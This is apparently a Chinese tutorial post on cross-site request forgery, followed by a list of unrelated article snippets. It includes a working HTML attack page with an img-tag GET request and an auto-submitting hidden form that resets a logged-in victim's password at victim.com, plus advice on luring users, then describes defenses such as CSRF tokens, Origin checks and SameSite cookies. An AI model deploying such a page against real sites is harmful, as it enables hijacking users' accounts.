网络安全：发起一次CSRF攻击！
一、如何发起一次CSRF攻击
原理：CSRF 的本质实际上是利用了 Cookie 会自动在请求中携带的特性，通过伪造请求来执行恶意操作。
1、目标网站信息：
接口地址：https://victim.com/change-password
请求类型：get/post
接受参数：password
2、编写一个网页
<!DOCTYPE html>
<html><body><!-- GET类型的CSRF --><img src="https://victim.com/change-password?password=vme50"><!-- POST类型的CSRF --><form action="https://victim.com/change-password" method=POST><input type="hidden" name="password" value="vme50" /></form><script> document.forms[0].submit(); </script> </body>
</html>
3、诱导用户打开我们的网页
用户在已经登录了https://victim.com这个网站的情况下打开我们的网站，代码会自动发起网络请求，将受害者的账号密码修改为我们设置的值
二、防护策略
1、使用 CSRF Token（推荐）：
在每个表单提交或敏感操作中包含一个随机生成的 CSRF Token，并将其与用户的会话关联起来。
服务器在接收到请求时验证 CSRF Token 的有效性，如果不匹配，则拒绝请求。
这样可以防止攻击者伪造请求，因为攻击者无法获取有效的 CSRF Token。
2、同源检测：
① 验证请求头：在服务器端验证请求头中的 Referer 字段或 Origin 字段，确保请求来自合法的源
② 验证域名：在服务器端对请求进行同源检测，只接受来自同一域名下的请求
③ 对在本域发起的攻击无效
3、设置 SameSite Cookie 属性：
将敏感的 Cookie 设置为 SameSite 属性为 Strict 或 Lax，限制其在跨站点请求中的发送，从而减少 CSRF 攻击的风险。
4、二次确认
① 验证码：对于敏感操作，可以要求用户输入验证码进行验证，以确保请求是由真实用户发起的
相关文章：
网络安全：发起一次CSRF攻击！
一、如何发起一次CSRF攻击 原理：CSRF 的本质实际上是利用了 Cookie 会自动在请求中携带的特性，通过伪造请求来执行恶意操作。 1、目标网站信息： 接口地址：https://victim.com/change-password 请求类型：get/post 接…...
java上传文件到指定服务器
首先要知道服务器的用户名和密码。 注意：一般情况，如果不是强制要求，尽量不要将文件上传到服务器 步骤： 1.导入依赖 <!--图片上传到服务器需要的依赖--> <dependency> <groupId>com.jcr…...
揭秘 Go 中的 new() 和 make() 函数
Go（或 Golang）是一种现代、静态类型、编译型的编程语言，专为构建可扩展、并发和高效的软件而设计。它提供了各种内置的函数和特性，帮助开发人员编写简洁高效的代码。其中包括 new() 和 make() 函数，这两个函数乍看起来…...
【Spring Cloud】深入探索统一网关 Gateway 的搭建，断言工厂，过滤器工厂，全局过滤器以及跨域问题
文章目录 前言为什么需要网关以及网关的作用网关的技术实现 一、Gateway 网关的搭建1.1 创建 Gateway 模块1.2 引入依赖1.3 配置网关1.4 验证网关是否搭建成功1.5 微服务结构分析 二、Gateway 断言工厂2.1 Spring 提供的断言工厂2.2 示例：设置断言工厂 三、Gateway …...
计算机竞赛 题目：基于卷积神经网络的手写字符识别 - 深度学习
文章目录 0 前言1 简介2 LeNet-5 模型的介绍2.1 结构解析2.2 C1层2.3 S2层S2层和C3层连接 2.4 F6与C5层 3 写数字识别算法模型的构建3.1 输入层设计3.2 激活函数的选取3.3 卷积层设计3.4 降采样层3.5 输出层设计 4 网络模型的总体结构5 部分实现代码6 在线手写识别7 最后 0 前言…...
关于flink重新提交任务，重复消费kafka的坑
异常现象1 按照以下方式设置backend目录和checkpoint目录，fsbackend目录有数据，checkpoint目录没数据 env.getCheckpointConfig().setCheckpointStorage(PropUtils.getValueStr(Constant.ENV_FLINK_CHECKPOINT_PATH)); env.setStateBackend(new FsStat…...
Win11右键恢复Win10老版本
Win11右键恢复Win10老版本 最近自己更新了windows11的OS,整体感觉都是不错的,但是就是每次右键菜单我都要再次点击下展开更多选项,这对追求极简主义的我,就是不爽, 手动恢复win10操作吧! 第一种:创建文件(简单快速) 1.新建一个resoreRightKey.reg文件,并在里面填入如下代码 W…...
ur机械臂30003端口socket通信踩坑（double类型数据怎么解析）
坑的由来 都知道在网络通信时要把网络字节序转化为主机字节序才行，但是c里的标准库函数ntohl默认是转换32位字节序的数据，也就是说默认是转换float类型的数据；而ur机械臂30003端口发送的是double类型的数据，没法直接用ntohl进行转…...
代理IP与Socks5代理的技术奇妙之旅
随着数字化时代的崛起，网络工程师们日益承担着维护网络稳定性和保护数据安全的重任。在这个充满挑战的世界里，代理IP与Socks5代理技术成为了他们的秘密武器，本文将带您踏上一段技术奇妙之旅，深入了解这两项技术在不同领域中的应用…...
自动化测试定位不到元素？可能是 frame 在搞鬼
很多人在用Splinter或Selenium定位页面元素的时候会遇到定位不到的问题，明明元素就在那儿，就是定位不到，这种情况很有可能是frame在搞鬼。 说白了就是网站上的网页A，又嵌入了其他网页B。你访问了网页A，在里面可以看到…...
uni-app 开发中，监听 input 键盘事件获取不到按下按键值怎么办？
uniapp 开发 H5 时，无法监听按钮键盘事件的原因以及解决方法。 问题描述： 不少 uni-app 开发者在使用 input 组件时，监听 keyup 事件时，获取不到键盘的 keyCode。编写的代码如下： <template><input keyup&…...
【juc】countdownlatch实现并发网络请求
目录 一、截图示例二、代码示例2.1 测试代码2.2 接口代码 一、截图示例 二、代码示例 2.1 测试代码 package com.learning.countdownlatch;import lombok.extern.slf4j.Slf4j; import org.springframework.web.client.RestTemplate;import java.util.Arrays; import java.uti…...
在供应链管理中，如何做好库存分析？库存分析有哪些监控指标？
在供应链管理中，库存分析是其重要的一环。库存分析的方法繁杂且广泛，选择正确的方法才能更好的进行库存分析，下面就为大家盘点一些常用的库存分析方法和监控指标，全程干货，建议收藏！ 01 如何进行库存分析&…...
黑豹程序员-架构师学习路线图-百科：Database数据库
文章目录 1、什么是Database2、发展历史3、数据库排行网4、总结 1、什么是Database 当今世界是一个充满着数据的互联网世界，各处都充斥着大量的数据。即这个互联网世界就是数据世界。 支撑这个数据世界的基石就是数据库，数据库也可以称为数据的仓库。 …...
你相信光吗？黑灯工厂重新相信“光”
你知道“黑灯工厂”吗？望文生义，所谓黑灯工厂，就是可以不需要照明的工厂。全程流水线自动化生产，无人干预、无人值守，工厂变成黑匣子，原材料进去，成品出来，流水线上百分百自动化。 完…...
Ubuntu 20.04使用源码安装nginx 1.14.0
nginx安装及使用（详细版）是一篇参考博文。 http://nginx.org/download/可以选择下载源码的版本。 sudo wget http://nginx.org/download/nginx-1.14.0.tar.gz下载源代码。 sudo tar xzf nginx-1.14.0.tar.gz进行解压。 cd nginx-1.14.0进入到源代码…...
springboot框架拦截器中HttpServletRequest 请求如何区分是图片上传流还是普通的字符流？
在Spring Boot框架中的拦截器（Interceptor）中，可以通过检查Content-Type请求头来区分图片上传流和普通的字符流。 当客户端发送POST请求并携带文件时，Content-Type请求头通常会包含multipart/form-data或者类似的值。这表明该请求…...
简单聊聊 TCP 协议
简单聊聊 TCP 协议 如何实现可靠传输 ?完全可靠存在比特差错存在丢包流水线可靠数据传输协议回退N步 (GBN)选择重传 (ARQ) 小结 TCPTCP 连接报文段结构序号和确认号 可靠数据传输避免重传超时时间加倍快速重传回退N步还是选择重传 流量控制连接管理拥塞控制拥塞原因拥塞控制方…...
钡铼BL124PN：简单快速转换Profinet到Ethernet/IP
钡铼技术BL124PN是一款高性能的Profinet转Ethernet/IP网关设备。该网关专为工业自动化领域设计，用于实现不同协议之间的互连和通信。BL124PN采用可靠稳定的硬件和先进的通信技术，具有以下主要特点： 协议转换能力：BL124PN能够将Pr…...
【golang】go 空结构体 详解 空结构体内容占用及大小
一、空结构体基础 空结构实例 和 空结构体变量 本质是一样的 1、所有空结构体地址都是一样的2、大小都为0（最独特的） package mainimport ("fmt""time""unsafe" )type EST struct { }func main() {// 一、基础// 空结构…...
业务系统对接大模型的基础方案：架构设计与关键步骤
业务系统对接大模型：架构设计与关键步骤 在当今数字化转型的浪潮中，大语言模型（LLM）已成为企业提升业务效率和创新能力的关键技术之一。将大模型集成到业务系统中，不仅可以优化用户体验，还能为业务决策提供…...
macOS多出来了：Google云端硬盘、YouTube、表格、幻灯片、Gmail、Google文档等应用
文章目录 问题现象问题原因解决办法 问题现象 macOS启动台（Launchpad）多出来了：Google云端硬盘、YouTube、表格、幻灯片、Gmail、Google文档等应用。 问题原因 很明显，都是Google家的办公全家桶。这些应用并不是通过独立安装的…...
华为云Flexus+DeepSeek征文｜DeepSeek-V3/R1 商用服务开通全流程与本地部署搭建
华为云FlexusDeepSeek征文｜DeepSeek-V3/R1 商用服务开通全流程与本地部署搭建 前言 如今大模型其性能出色，华为云 ModelArts Studio_MaaS大模型即服务平台华为云内置了大模型，能助力我们轻松驾驭 DeepSeek-V3/R1，本文中将分享如何…...
【碎碎念】宝可梦 Mesh GO : 基于MESH网络的口袋妖怪 宝可梦GO游戏自组网系统
目录 游戏说明《宝可梦 Mesh GO》 —— 局域宝可梦探索Pokmon GO 类游戏核心理念应用场景Mesh 特性 宝可梦玩法融合设计游戏构想要素1. 地图探索（基于物理空间 广播范围）2. 野生宝可梦生成与广播3. 对战系统4. 道具与通信5. 延伸玩法 安全性设计 技术选…...
#Uniapp篇：chrome调试unapp适配
chrome调试设备----使用Android模拟机开发调试移动端页面 Chrome://inspect/#devices MuMu模拟器Edge浏览器：Android原生APP嵌入的H5页面元素定位 chrome://inspect/#devices uniapp单位适配 根路径下 postcss.config.js 需要装这些插件 “postcss”: “^8.5.…...
【分享】推荐一些办公小工具
1、PDF 在线转换 https://smallpdf.com/cn/pdf-tools 推荐理由：大部分的转换软件需要收费，要么功能不齐全，而开会员又用不了几次浪费钱，借用别人的又不安全。 这个网站它不需要登录或下载安装。而且提供的免费功能就能满足日常…...
【电力电子】基于STM32F103C8T6单片机双极性SPWM逆变（硬件篇）
本项目是基于 STM32F103C8T6 微控制器的 SPWM（正弦脉宽调制）电源模块，能够生成可调频率和幅值的正弦波交流电源输出。该项目适用于逆变器、UPS电源、变频器等应用场景。 供电电源 输入电压采集 上图为本设计的电源电路，图中 D1 为二极管， 其目的是防止正负极电源反接， …...
省略号和可变参数模板
本文主要介绍如何展开可变参数的参数包 1.C语言的va_list展开可变参数 #include <iostream> #include <cstdarg>void printNumbers(int count, ...) {// 声明va_list类型的变量va_list args;// 使用va_start将可变参数写入变量argsva_start(args, count);for (in…...
学习一下用鸿蒙DevEco Studio HarmonyOS5实现百度地图
在鸿蒙（HarmonyOS5）中集成百度地图，可以通过以下步骤和技术方案实现。结合鸿蒙的分布式能力和百度地图的API，可以构建跨设备的定位、导航和地图展示功能。 1. 鸿蒙环境准备 开发工具：下载安装 De…...
SQL Server 触发器调用存储过程实现发送 HTTP 请求
文章目录 需求分析解决第 1 步：前置条件，启用 OLE 自动化方式 1：使用 SQL 实现启用 OLE 自动化方式 2：Sql Server 2005启动OLE自动化方式 3：Sql Server 2008启动OLE自动化第 2 步：创建存储过程第 3 步：创建触发器扩展 - 如何调试？第 1 步：登录 SQL Server 2008第 2 步…...